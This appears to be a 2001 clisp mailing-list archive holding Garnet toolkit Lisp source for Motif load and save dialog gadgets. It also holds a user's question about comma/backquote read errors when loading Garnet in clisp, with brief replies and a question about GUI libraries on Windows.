      (:H-ALIGN :LEFT)
      (:SCROLL-ON-LEFT-P T)
      (:MIN-FRAME-WIDTH ,(o-formula (- (gvl :parent :min-gadget-width) =
60)))
      (:TEXT-OFFSET 4)
      (:INT-MENU-FEEDBACk-P T)
      (:ITEM-FONT ,(o-formula (gvl :parent :file-menu-font)))
      (:V-SPACING 3)
      (:MIN-SCROLL-BAR-WIDTH 20)
      (:INDICATOR-TEXT-P NIL)
      (:PAGE-TRILL-P NIL)
      (:SCR-TRILL-P T)
      (:NUM-VISIBLE ,(o-formula (gvl :parent :num-visible)))
      (:INT-SCROLL-FEEDBACK-P NIL)
      (:TITLE NIL)
      (:SELECTED-RANKS NIL))

;;; This is the box that says "Filename"
   =20
    (:FILE-INPUT ,GARNET-GADGETS:SCROLLING-LABELED-BOX
      (:LEFT ,(o-formula (gvl :parent :left)))
      (:TOP ,(o-formula (+ (gvl :parent :file-menu :top)
   (gvl :parent :file-menu :height)
   20)))
      (:WIDTH ,(o-formula (gvl :parent :min-gadget-width) 240))
      (:CONSTANT (:KNOWN-AS :COMPONENTS :FIELD-TEXT :FRAME :LABEL-TEXT))
      (:MIN-FRAME-WIDTH NIL)
      (:FIELD-FONT ,(o-formula (gvl :parent :file-input-field-font)))
      (:FIELD-OFFSET 0)
      (:LABEL-OFFSET 5)
      (:LABEL-FONT ,(o-formula (gvl :parent :file-input-label-font)))
      (:GROW-P T)
      (:SELECTION-FUNCTION Check-Load-Filename)
      (:LABEL-STRING "Filename:")
      (:VALUE ""))

;;; This is the little message that appears everytime a directory is =
being
;;; fetched    =20
  =20
    (:MESSAGE ,OPAL:TEXT
      (:LEFT ,(o-formula (+ (gvl :parent :left) 20) 30))
      (:TOP ,(o-formula (+ (gvl :parent :top) 20) 44))
      (:FONT ,(o-formula (gvl :parent :message-font))))

;;; These are the two buttons for load and cancel
   =20
    (:OK-CANCEL-BUTTONS ,GARNET-GADGETS:TEXT-BUTTON-PANEL
     (:CONSTANT (:KNOWN-AS :COMPONENTS :TEXT-BUTTON-PRESS =
:FINAL-FEEDBACK
    :TEXT-BUTTON-LIST))
     (:left ,(o-formula (floor (- (gvl :parent :min-gadget-width)
  (gvl :width)) 2)))
     (:top ,(o-formula
     (let ((comps (gvl :parent :components))
   (me (gvl :parent :ok-cancel-buttons))
   (maxbot 0))
       (dolist (ob comps)
(when (and (not (equal ob me))
    (> (opal:bottom ob)
       maxbot))
   (setf maxbot (opal:bottom ob))))
       (+ maxbot 25))))
  =20
     (:SELECTION-FUNCTION default-load-function)
     (:FONT ,(o-formula (gvl :parent :button-panel-font)))
     (:H-ALIGN :CENTER)
     (:PIXEL-MARGIN NIL)
     (:RANK-MARGIN NIL)
     (:FIXED-HEIGHT-P T)
     (:FIXED-WIDTH-P T)
     (:INDENT 0)
     (:V-SPACING 5)
     (:H-SPACING ,(o-formula (gvl :parent :button-panel-h-spacing)))
     (:DIRECTION :HORIZONTAL)
     (:SHADOW-OFFSET 5)
     (:TEXT-OFFSET 2)
     (:FINAL-FEEDBACK-P NIL)
     (:GRAY-WIDTH 3)
     (:ITEMS ,(o-formula (gvl :parent :button-panel-items)))))))

(s-value load-gadget :initialize #'Save-Load-Gadget-Initialize)

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;;; -*- Mode: LISP; Syntax: Common-Lisp; Package: GARNETDRAW; Base: 10 =
-*-
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;         The Garnet User Interface Development Environment.      ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; This code was written as part of the Garnet project at          ;;;
;;; Carnegie Mellon University, and has been placed in the public   ;;;
;;; domain.  If you are using this code or any part of Garnet,      ;;;
;;; please contact garnet@cs.cmu.edu to be put on the mailing list. ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;; This file contains the save gadget.  The functions for this gadget
;;; can be found in the save-load-functions.lisp file.
;;;
;;; Designed and Implemented by Rajan Parthasarathy
;;;

;;; Change log:
;;;
;;; 06/16/94  Marty Geier - Changed Mac directory to ":" ".:" - does not =
work
;;; 05/05/94  Andrew Mickish - Added Mac directory ".:"
;;; 10/06/93  Andrew Mickish - :background-color ---> :foreground-color
;;; 01/30/93  Rajan Parthasarathy - s-value'd the :initialize slot
;;; 12/15/92  Andrew Mickish - Added type and parameter declarations
;;; 08/20/92  Andrew Mickish - Moved Save-Load-Gadget-Destroy to
;;;             save-load-functions.lisp
;;; 07/26/92  Rajan Parthasarathy - Created and hacked from GILT
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

(in-package "GARNET-GADGETS")

(eval-when (eval load compile)
  (export '(MOTIF-SAVE-GADGET)))

(create-instance 'MOTIF-SAVE-GADGET opal:aggregadget
  :declare ((:parameters :parent-window :window-title :window-left =
:window-top
:min-gadget-width :initial-directory :message-string
:query-message :query-buttons :button-panel-items
:button-panel-h-spacing :num-visible :check-filenames-p
:modal-p :dir-input-field-font :dir-input-label-font
:file-input-field-font :file-input-label-font
:message-font :button-panel-font :file-menu-font
:foreground-color :selection-function)
      (:type ((or (is-a-p inter:interactor-window) null) :parent-window)
   ((or null string) :window-title)
   (integer :window-left :window-top :button-panel-h-spacing)
   ((integer 0) :min-gadget-width :num-visible)
   (string :initial-directory :message-string)
   (list :button-panel-items :query-buttons)
   ((or (is-a-p opal:font) (is-a-p opal:font-from-file))
    :dir-input-field-font :dir-input-label-font
    :file-input-field-font :file-input-label-font
    :message-font :button-panel-font :file-menu-font)
   ((is-a-p opal:color) :foreground-color)
   ((or null function symbol) :selection-function))
     (:maybe-constant :left :top :parent-window :window-title =
:window-left
      :window-top :dir-input-field-font :dir-input-label-font
      :message-font :message-string :num-visible :file-menu-font
      :initial-directory :file-input-field-font
      :file-input-label-font :button-panel-items
      :button-panel-font :button-panel-h-spacing
      :min-gadget-width :modal-p :check-filenames-p
      :query-message :query-buttons :foreground-color))

;;; Customizable slots
  (:LEFT 10)
  (:TOP 24)
  (:PARENT-WINDOW NIL)
 =20
  ;; Slots for window customization
  (:WINDOW-TITLE "Save Window")
  (:WINDOW-LEFT (o-formula (if (gvl :parent-window)
      (floor (- (gvl :parent-window :width)
(gvl :window :width)) 2)
      0)))
  (:WINDOW-TOP  (o-formula (if (gvl :parent-window)
       (floor (- (gvl :parent-window :height)
(gvl :window :height)) 2)
       0)))
  ;; Slots for dir-input customization
  (:DIR-INPUT-FIELD-FONT OPAL:DEFAULT-FONT)
  (:DIR-INPUT-LABEL-FONT (opal:get-standard-font NIL :BOLD NIL))
  =20
  ;; Slots for message customization
  (:MESSAGE-FONT (OPAL:GET-STANDARD-FONT :FIXED :ITALIC :SMALL))
  (:MESSAGE-STRING "Fetching directory...")

  ;; Slots for file-menu customization
  (:NUM-VISIBLE 6)
  (:FILE-MENU-FONT (opal:get-standard-font NIL :BOLD NIL))
  (:INITIAL-DIRECTORY #-apple "./" #+apple ":")
  =20
  ;; Slots for file-input customization
  (:FILE-INPUT-FIELD-FONT OPAL:DEFAULT-FONT)
  (:FILE-INPUT-LABEL-FONT (opal:get-standard-font NIL :BOLD NIL))
  =20
  ;; Slots for button customization
  (:BUTTON-PANEL-ITEMS '("Save" "Cancel"))
  (:BUTTON-PANEL-FONT OPAL:DEFAULT-FONT)
  (:BUTTON-PANEL-H-SPACING 25)

  ;; Other slots

  (:MIN-GADGET-WIDTH 240)
  (:SELECTION-FUNCTION NIL)
  (:MODAL-P NIL)
  (:CHECK-FILENAMES-P T)
  (:QUERY-MESSAGE "Write over existing file?")
  (:QUERY-BUTTONS '("Write" "Abort"))
  (:FOREGROUND-COLOR opal:motif-light-blue)
 =20
;;; Non customizable slots
  (:motif-save-gadget-p T)
  (:destroy #'Save-Load-Gadget-Destroy)
  (:type-of-query gg:motif-query-gadget)
  (:parts `(
   =20
;;; This is the box labeled "Directory"
    (:DIR-INPUT ,GARNET-GADGETS:MOTIF-SCROLLING-LABELED-BOX
      (:LEFT ,(o-formula (gvl :parent :left) 10))
      (:TOP ,(o-formula (gvl :parent :top) 24))
      (:FIELD-OFFSET 3)
      (:WIDTH ,(o-formula (gvl :parent :min-gadget-width) 240))
      (:MIN-FRAME-WIDTH NIL)
      (:FIELD-FONT ,(o-formula (gvl :parent :dir-input-field-font)))
      (:LABEL-OFFSET 5)
      (:LABEL-FONT ,(o-formula (gvl :parent :dir-input-label-font)))
      (:GROW-P T)
      (:FOREGROUND-COLOR ,(o-formula (gvl :parent :foreground-color)))   =
 =20
      (:LABEL-STRING "Directory:")
      (:VALUE ,(o-formula (directory-namestring
   (truename (gvl :parent :initial-directory)))))
      (:SELECTION-FUNCTION Update-File-Menu)
      )

;;;  This is the scrolling menu with a list of files in it
   =20
    (:FILE-MENU ,GARNET-GADGETS:MOTIF-SCROLLING-MENU
      (:TOGGLE-P NIL)
      (:FOREGROUND-COLOR ,(o-formula (gvl :parent :foreground-color)))
      (:MAX-ITEM-WIDTH ,(o-formula (gvl :min-frame-width)))
      (:LEFT ,(o-formula (+ (gvl :parent :left) 22) 32))
      (:TOP ,(o-formula (+ (gvl :parent :dir-input :top)
   (gvl :parent :dir-input :height)
   20)))
      (:INDICATOR-FONT ,(create-instance nil OPAL:FONT
            (:SIZE :SMALL)))
      (:MULTIPLE-P T)
      (:PAGE-INCR 5)
      (:MENU-SELECTION-FUNCTION file-menu-selection)
      (:SCR-INCR 1)
      (:SCROLL-SELECTION-FUNCTION NIL)
      (:H-ALIGN :LEFT)
      (:SCROLL-ON-LEFT-P T)
      (:MIN-FRAME-WIDTH ,(o-formula (- (gvl :parent :min-gadget-width) =
60)))
      (:TEXT-OFFSET 4)
      (:FINAL-FEEDBACK-P NIL)
      (:INT-MENU-FEEDBACk-P T)
      (:ITEM-FONT ,(o-formula (gvl :parent :file-menu-font)))
      (:V-SPACING 3)
      (:MIN-SCROLL-BAR-WIDTH 20)
      (:INDICATOR-TEXT-P NIL)
      (:PAGE-TRILL-P NIL)
      (:SCR-TRILL-P T)
      (:NUM-VISIBLE ,(o-formula (gvl :parent :num-visible)))
      (:INT-SCROLL-FEEDBACK-P NIL)
      (:TITLE NIL)
      (:SELECTED-RANKS NIL))

;;; This is the box that says "Filename"
   =20
    (:FILE-INPUT ,GARNET-GADGETS:MOTIF-SCROLLING-LABELED-BOX
      (:LEFT ,(o-formula (gvl :parent :left)))
      (:TOP ,(o-formula (+ (gvl :parent :file-menu :top)
   (gvl :parent :file-menu :height)
   20)))
      (:WIDTH ,(o-formula (gvl :parent :min-gadget-width) 240))
      (:CONSTANT (:KNOWN-AS :COMPONENTS :FIELD-TEXT :FRAME :LABEL-TEXT))
      (:FIELD-OFFSET 3)
      (:MIN-FRAME-WIDTH NIL)
      (:FIELD-FONT ,(o-formula (gvl :parent :file-input-field-font)))
      (:LABEL-OFFSET 5)
      (:FOREGROUND-COLOR ,(o-formula (gvl :parent :foreground-color)))   =
 =20
      (:LABEL-FONT ,(o-formula (gvl :parent :file-input-label-font)))
      (:GROW-P T)
      (:SELECTION-FUNCTION Check-Filename)
      (:LABEL-STRING "Filename:")
      (:VALUE ""))

;;; This is the little message that appears everytime a directory is =
being
;;; fetched    =20
  =20
    (:MESSAGE ,OPAL:TEXT
      (:LEFT ,(o-formula (+ (gvl :parent :left) 20) 30))
      (:TOP ,(o-formula (+ (gvl :parent :top) 24) 48))
      (:FONT ,(o-formula (gvl :parent :message-font))))

;;; These are the two buttons for save and cancel
   =20
    (:OK-CANCEL-BUTTONS ,GARNET-GADGETS:MOTIF-TEXT-BUTTON-PANEL
      (:CONSTANT (:KNOWN-AS :COMPONENTS :TEXT-BUTTON-PRESS =
:FINAL-FEEDBACK :TEXT-BUTTON-LIST))
     (:left ,(o-formula (floor (- (gvl :parent :min-gadget-width)
  (gvl :width)) 2)))
     (:top ,(o-formula
     (let ((comps (gvl :parent :components))
   (me (gvl :parent :ok-cancel-buttons))
   (maxbot 0))
       (dolist (ob comps)
(when (and (not (equal ob me))
    (> (opal:bottom ob)
       maxbot))
   (setf maxbot (opal:bottom ob))))
       (+ maxbot 25))))
    =20
     (:FOREGROUND-COLOR ,(o-formula (gvl :parent :foreground-color)))
     (:SELECTION-FUNCTION DEFAULT-SAVE-FUNCTION)
     (:FONT ,(o-formula (gvl :parent :button-panel-font)))
     (:H-ALIGN :CENTER)
     (:PIXEL-MARGIN NIL)
     (:RANK-MARGIN NIL)
     (:FIXED-HEIGHT-P T)
     (:FIXED-WIDTH-P T)
     (:INDENT 0)
     (:V-SPACING 5)
     (:H-SPACING ,(o-formula (gvl :parent :button-panel-h-spacing)))
     (:DIRECTION :HORIZONTAL)
     (:TEXT-OFFSET 4)
     (:FINAL-FEEDBACK-P NIL)
     (:ITEMS ,(o-formula (gvl :parent :button-panel-items)))))))

(s-value motif-save-gadget :initialize #'Save-Load-Gadget-Initialize)




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;;; -*- Mode: LISP; Syntax: Common-Lisp; Package: GARNET-GADGETS; Base: =
10 -*-
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;         The Garnet User Interface Development Environment.      ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; This code was written as part of the Garnet project at          ;;;
;;; Carnegie Mellon University, and has been placed in the public   ;;;
;;; domain.  If you are using this code or any part of Garnet,      ;;;
;;; please contact garnet@cs.cmu.edu to be put on the mailing list. ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;; This file contains the load gadget.  The functions for this gadget
;;; can be found in the save-load-functions.lisp file.
;;;
;;; Designed and Implemented by Rajan Parthasarathy
;;;

;;; Change log:
;;;
;;; 10/06/93  Andrew Mickish - :background-color ---> :foreground-color
;;; 01/30/93  Rajan Parthasarathy - s-value'd the :initialize slot
;;; 12/15/92  Andrew Mickish - Added type and parameter declarations
;;; 06/26/92  Rajan Parthasarathy - Created
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

(in-package "GARNET-GADGETS")

(eval-when (eval load compile)
  (export '(MOTIF-LOAD-GADGET)))

(create-instance 'MOTIF-LOAD-GADGET OPAL:AGGREGADGET =20
  :declare ((:parameters :parent-window :window-title :window-left =
:window-top
:min-gadget-width :initial-directory :message-string
:button-panel-items :button-panel-h-spacing
:num-visible :check-filenames-p :modal-p
:dir-input-field-font :dir-input-label-font
:file-input-field-font :file-input-label-font
:message-font :button-panel-font :file-menu-font
:selection-function)
    (:type ((or (is-a-p inter:interactor-window) null) :parent-window)
   ((or null string) :window-title)
   (integer :window-left :window-top :button-panel-h-spacing)
   ((integer 0) :min-gadget-width :num-visible)
   (string :initial-directory :message-string)
   (list :button-panel-items)
   (kr-boolean :check-filenames-p :modal-p)
   ((or null function symbol) :selection-function)
   ((or (is-a-p opal:font) (is-a-p opal:font-from-file))
    :dir-input-field-font :dir-input-label-font
    :file-input-field-font :file-input-label-font
    :message-font :button-panel-font :file-menu-font))
    (:maybe-constant :left :top :parent-window :window-title
     :window-left :window-top :dir-input-field-font
     :dir-input-label-font :message-font :message-string
     :num-visible :file-menu-font :initial-directory
     :file-input-field-font :file-input-label-font
     :button-panel-items :button-panel-font
     :button-panel-h-spacing :min-gadget-width :modal-p
     :check-filenames-p :foreground-color))
;;; Customizable slots
  (:LEFT 10)
  (:TOP 24)
  (:PARENT-WINDOW NIL)
 =20
  ;; Slots for window customization
  (:WINDOW-TITLE "Load Window")
  (:WINDOW-TOP (o-formula (if (gvl :parent-window)
       (floor (- (gvl :parent-window :height)
(gvl :window :height)) 2)
       0)))
  (:WINDOW-LEFT (o-formula (if (gvl :parent-window)
      (floor (- (gvl :parent-window :width)
(gvl :window :width)) 2)
      0)))

  ;; Slots for dir-input customization
  (:DIR-INPUT-FIELD-FONT opal:default-font)
  (:DIR-INPUT-LABEL-FONT (opal:get-standard-font NIL :BOLD NIL))
  =20
  ;; Slots for message customization
  (:MESSAGE-FONT (OPAL:GET-STANDARD-FONT :FIXED :ITALIC :SMALL))
  (:MESSAGE-STRING "Fetching directory...")

  ;; Slots for file-menu customization
  (:NUM-VISIBLE 6)
  (:FILE-MENU-FONT (opal:get-standard-font NIL :BOLD NIL))
  (:INITIAL-DIRECTORY #-apple "./" #+apple ":")
  =20
  ;; Slots for file-input customization
  (:FILE-INPUT-FIELD-FONT opal:default-font)
  (:FILE-INPUT-LABEL-FONT (opal:get-standard-font NIL :BOLD NIL))
  =20
  ;; Slots for button customization
  (:BUTTON-PANEL-ITEMS '("Load" "Cancel"))
  (:BUTTON-PANEL-FONT OPAL:DEFAULT-FONT)
  (:BUTTON-PANEL-H-SPACING 25)

  ;; Other slots
  (:MIN-GADGET-WIDTH 240)
  (:MODAL-P NIL)
  (:SELECTION-FUNCTION NIL)
  (:CHECK-FILENAMES-P T)
  (:FOREGROUND-COLOR opal:motif-light-blue)
 =20
;;; Non customizable slots
  (:destroy #'Save-Load-Gadget-Destroy)
  (:motif-load-gadget-p T)
  (:parts `(

;;; This is the box labeled "Directory"
    (:DIR-INPUT ,GARNET-GADGETS:MOTIF-SCROLLING-LABELED-BOX
      (:LEFT ,(o-formula (gvl :parent :left) 10))
      (:TOP ,(o-formula (gvl :parent :top) 24))
      (:WIDTH ,(o-formula (gvl :parent :min-gadget-width) 240))
      (:MIN-FRAME-WIDTH NIL)
      (:FIELD-FONT ,(o-formula (gvl :parent :dir-input-field-font)))
      (:FIELD-OFFSET 3)
      (:LABEL-OFFSET 5)
      (:LABEL-FONT ,(o-formula (gvl :parent :dir-input-label-font)))
      (:GROW-P T)
      (:FOREGROUND-COLOR ,(o-formula (gvl :parent :foreground-color)))
      (:LABEL-STRING "Directory:")
      (:VALUE ,(o-formula (directory-namestring
   (truename (gvl :parent :initial-directory)))))
      (:SELECTION-FUNCTION Update-File-Menu))

;;;  This is the scrolling menu with a list of files in it
   =20
    (:FILE-MENU ,GARNET-GADGETS:MOTIF-SCROLLING-MENU
      (:TOGGLE-P NIL)
      (:MAX-ITEM-WIDTH ,(o-formula (gvl :min-frame-width)))
      (:LEFT ,(o-formula (+ (gvl :parent :left) 22) 32))
      (:TOP ,(o-formula (+ (gvl :parent :dir-input :top)
   (gvl :parent :dir-input :height)
   20)))
      (:FOREGROUND-COLOR ,(o-formula (gvl :parent :foreground-color)))   =
      =20
      (:INDICATOR-FONT ,(create-instance nil OPAL:FONT
            (:SIZE :SMALL)))
      (:MULTIPLE-P T)
      (:PAGE-INCR 5)
      (:SCR-INCR 1)
      (:SCROLL-SELECTION-FUNCTION NIL)
      (:MENU-SELECTION-FUNCTION file-menu-selection)
      (:H-ALIGN :LEFT)
      (:SCROLL-ON-LEFT-P T)
      (:MIN-FRAME-WIDTH ,(o-formula (- (gvl :parent :min-gadget-width) =
60)))
      (:TEXT-OFFSET 4)
      (:FINAL-FEEDBACK-P NIL)
      (:INT-MENU-FEEDBACk-P T)
      (:ITEM-FONT ,(o-formula (gvl :parent :file-menu-font)))
      (:V-SPACING 3)
      (:MIN-SCROLL-BAR-WIDTH 20)
      (:INDICATOR-TEXT-P NIL)
      (:PAGE-TRILL-P NIL)
      (:SCR-TRILL-P T)
      (:NUM-VISIBLE ,(o-formula (gvl :parent :num-visible)))
      (:INT-SCROLL-FEEDBACK-P NIL)
      (:TITLE NIL)
      (:SELECTED-RANKS NIL))

;;; This is the box that says "Filename"
   =20
    (:FILE-INPUT ,GARNET-GADGETS:MOTIF-SCROLLING-LABELED-BOX
      (:LEFT ,(o-formula (gvl :parent :left)))
      (:TOP ,(o-formula (+ (gvl :parent :file-menu :top)
   (gvl :parent :file-menu :height)
   20)))
      (:WIDTH ,(o-formula (gvl :parent :min-gadget-width) 240))
      (:CONSTANT (:KNOWN-AS :COMPONENTS :FIELD-TEXT :FRAME :LABEL-TEXT))
      (:MIN-FRAME-WIDTH NIL)
      (:FIELD-FONT ,(o-formula (gvl :parent :file-input-field-font)))
      (:FIELD-OFFSET 3)
      (:LABEL-OFFSET 5)
      (:FOREGROUND-COLOR ,(o-formula (gvl :parent :foreground-color)))   =
 =20
      (:LABEL-FONT ,(o-formula (gvl :parent :file-input-label-font)))
      (:GROW-P T)
      (:SELECTION-FUNCTION Check-Load-Filename)
      (:LABEL-STRING "Filename:")
      (:VALUE ""))

;;; This is the little message that appears everytime a directory is =
being
;;; fetched    =20
  =20
    (:MESSAGE ,OPAL:TEXT
      (:LEFT ,(o-formula (+ (gvl :parent :left) 20) 30))
      (:TOP ,(o-formula (+ (gvl :parent :top) 24) 48))
      (:FONT ,(o-formula (gvl :parent :message-font))))

;;; These are the two buttons for load and cancel
   =20
    (:OK-CANCEL-BUTTONS ,GARNET-GADGETS:MOTIF-TEXT-BUTTON-PANEL
     (:CONSTANT (:KNOWN-AS :COMPONENTS :TEXT-BUTTON-PRESS =
:FINAL-FEEDBACK
    :TEXT-BUTTON-LIST))
     (:left ,(o-formula (floor (- (gvl :parent :min-gadget-width)
  (gvl :width)) 2)))
     (:top ,(o-formula
     (let ((comps (gvl :parent :components))
   (me (gvl :parent :ok-cancel-buttons))
   (maxbot 0))
       (dolist (ob comps)
(when (and (not (equal ob me))
    (> (opal:bottom ob)
       maxbot))
   (setf maxbot (opal:bottom ob))))
       (+ maxbot 25))))

     (:FOREGROUND-COLOR ,(o-formula (gvl :parent :foreground-color)))    =
=20
     (:SELECTION-FUNCTION default-load-function)
     (:FONT ,(o-formula (gvl :parent :button-panel-font)))
     (:H-ALIGN :CENTER)
     (:PIXEL-MARGIN NIL)
     (:RANK-MARGIN NIL)
     (:FIXED-HEIGHT-P T)
     (:FIXED-WIDTH-P T)
     (:INDENT 0)
     (:V-SPACING 5)
     (:H-SPACING ,(o-formula (gvl :parent :button-panel-h-spacing)))
     (:DIRECTION :HORIZONTAL)
     (:SHADOW-OFFSET 5)
     (:TEXT-OFFSET 4)
     (:FINAL-FEEDBACK-P NIL)
     (:GRAY-WIDTH 3)
     (:ITEMS ,(o-formula (gvl :parent :button-panel-items)))))))

(s-value motif-load-gadget :initialize #'Save-Load-Gadget-Initialize)

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Hi,

Is there currently some kind of gui library for clisp on M$ windows
systems? The sourceforge page mentions wxWindows bindings being a task but
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Below is a sample of problematic code. =20

;line# ->
(:DIR-INPUT ,GARNET-GADGETS:SCROLLING-LABELED-BOX
      (:LEFT ,(o-formula (gvl :parent :left) 10))
      (:TOP ,(o-formula (gvl :parent :top) 24))
      (:WIDTH ,(o-formula (gvl :parent :min-gadget-width) 240))
      (:MIN-FRAME-WIDTH NIL)
      (:FIELD-FONT ,(o-formula (gvl :parent :dir-input-field-font)))
      (:FIELD-OFFSET 0)
      (:LABEL-OFFSET 5)
      (:LABEL-FONT ,(o-formula (gvl :parent :dir-input-label-font)))
      (:GROW-P T)
      (:LABEL-STRING "Directory:")
      (:VALUE ,(o-formula (directory-namestring
   (truename (gvl :parent :initial-directory)))))
      (:SELECTION-FUNCTION Update-File-Menu))


The commas seem to be really messing with clisp's understanding of what =
should happen here.  When I run this in the garnet-load procedure, clisp =
complains of an illegal operation: commas are not allowed outside of =
back-quote.  When I remove the commas, there is a problem of an expected =
comma before SCROLLING-LABELED-BOX.  I place a comma immediately before =
SCROLLING-LABELED-BOX and then I get the message:

*** - READ from
    #< BUFFERED FILE-STREAM CHARACTER
        #P"FOO/save-gadget.lisp" @line#>:

    #<PACKAGE GARNET-GADGETS> has no external symbol with name " "

Can anyone see in this code what problem clisp might have with it?  The =
full file is attached to previous message.

Thanks,
Isaac



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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
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<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Below is a sample of problematic =
code.&nbsp;=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>;line# -&gt;</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>(:DIR-INPUT=20
,GARNET-GADGETS:SCROLLING-LABELED-BOX<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
(:LEFT=20
,(o-formula (gvl :parent :left) 10))<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
(:TOP=20
,(o-formula (gvl :parent :top) 24))<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
(:WIDTH=20
,(o-formula (gvl :parent :min-gadget-width)=20
240))<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (:MIN-FRAME-WIDTH=20
NIL)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (:FIELD-FONT ,(o-formula (gvl =
:parent=20
:dir-input-field-font)))<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
(:FIELD-OFFSET=20
0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (:LABEL-OFFSET=20
5)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (:LABEL-FONT ,(o-formula (gvl =
:parent=20
:dir-input-label-font)))<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (:GROW-P=20
T)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (:LABEL-STRING=20
"Directory:")<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (:VALUE ,(o-formula=20
(directory-namestring<BR>&nbsp;&nbsp; (truename (gvl :parent=20
:initial-directory)))))<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
(:SELECTION-FUNCTION=20
Update-File-Menu))</FONT></DIV></FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>The commas&nbsp;seem to be really =
messing with=20
clisp's understanding of what should happen here.&nbsp; When I run this =
in the=20
garnet-load procedure, clisp complains of an illegal operation: commas =
are not=20
allowed outside of back-quote.&nbsp; When I remove the commas, there is =
a=20
problem of an expected comma before SCROLLING-LABELED-BOX.&nbsp; I place =
a comma=20
immediately before SCROLLING-LABELED-BOX and then I get the=20
message:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>*** - READ from</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; #&lt; BUFFERED =
FILE-STREAM=20
CHARACTER</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
#P"FOO/save-gadget.lisp" @line#&gt;:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; #&lt;PACKAGE =
GARNET-GADGETS&gt;=20
has no external symbol with name " "</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Can anyone see in this code what =
problem clisp=20
might have with it?&nbsp; The full file is attached to previous=20
message.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Isaac</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
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> * In message <Pine.LNX.4.30.0105151026140.21297-100000@illusions.com>
> * On the subject of "[clisp-list] GUI library under windows?"
> * Sent on Tue, 15 May 2001 11:01:09 -0700 (MST)
> * Honorable Dennis <dennis@illusions.com> writes:
>
> Is there currently some kind of gui library for clisp on M$ windows
> systems? The sourceforge page mentions wxWindows bindings being a task
> but doesn't have any status info.

would you like to work on this?

the portable way to do GUI is to interface with an html browser.
CLISP inspector works that way.

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> * In message <001401c0dd76$0fa49e60$a681cb82@ist.psu.edu>
> * On the subject of "Re: [clisp-list] garnet install"
> * Sent on Tue, 15 May 2001 15:34:29 -0400
> * Honorable "isaac councill" <igc2@psu.edu> writes:
>
> Below is a sample of problematic code.  
> 
> ;line# ->
> (:DIR-INPUT ,GARNET-GADGETS:SCROLLING-LABELED-BOX
>       (:LEFT ,(o-formula (gvl :parent :left) 10))
>       (:TOP ,(o-formula (gvl :parent :top) 24))
>       (:WIDTH ,(o-formula (gvl :parent :min-gadget-width) 240))
>       (:MIN-FRAME-WIDTH NIL)
>       (:FIELD-FONT ,(o-formula (gvl :parent :dir-input-field-font)))
>       (:FIELD-OFFSET 0)
>       (:LABEL-OFFSET 5)
>       (:LABEL-FONT ,(o-formula (gvl :parent :dir-input-label-font)))
>       (:GROW-P T)
>       (:LABEL-STRING "Directory:")
>       (:VALUE ,(o-formula (directory-namestring
>    (truename (gvl :parent :initial-directory)))))
>       (:SELECTION-FUNCTION Update-File-Menu))
> 
> 
> The commas seem to be really messing with clisp's understanding of
> what should happen here.  When I run this in the garnet-load
> procedure, clisp complains of an illegal operation: commas are not
> allowed outside of back-quote.

commas _are_ illegal outside of backquote, so this cannot be a
top-level form.

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MS Windows: error: the operation completed successfully.



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> * In message <003501c0dd5c$94f52f40$a681cb82@ist.psu.edu>
> * On the subject of "Re: [clisp-list] garnet install"
> * Sent on Tue, 15 May 2001 12:32:06 -0400
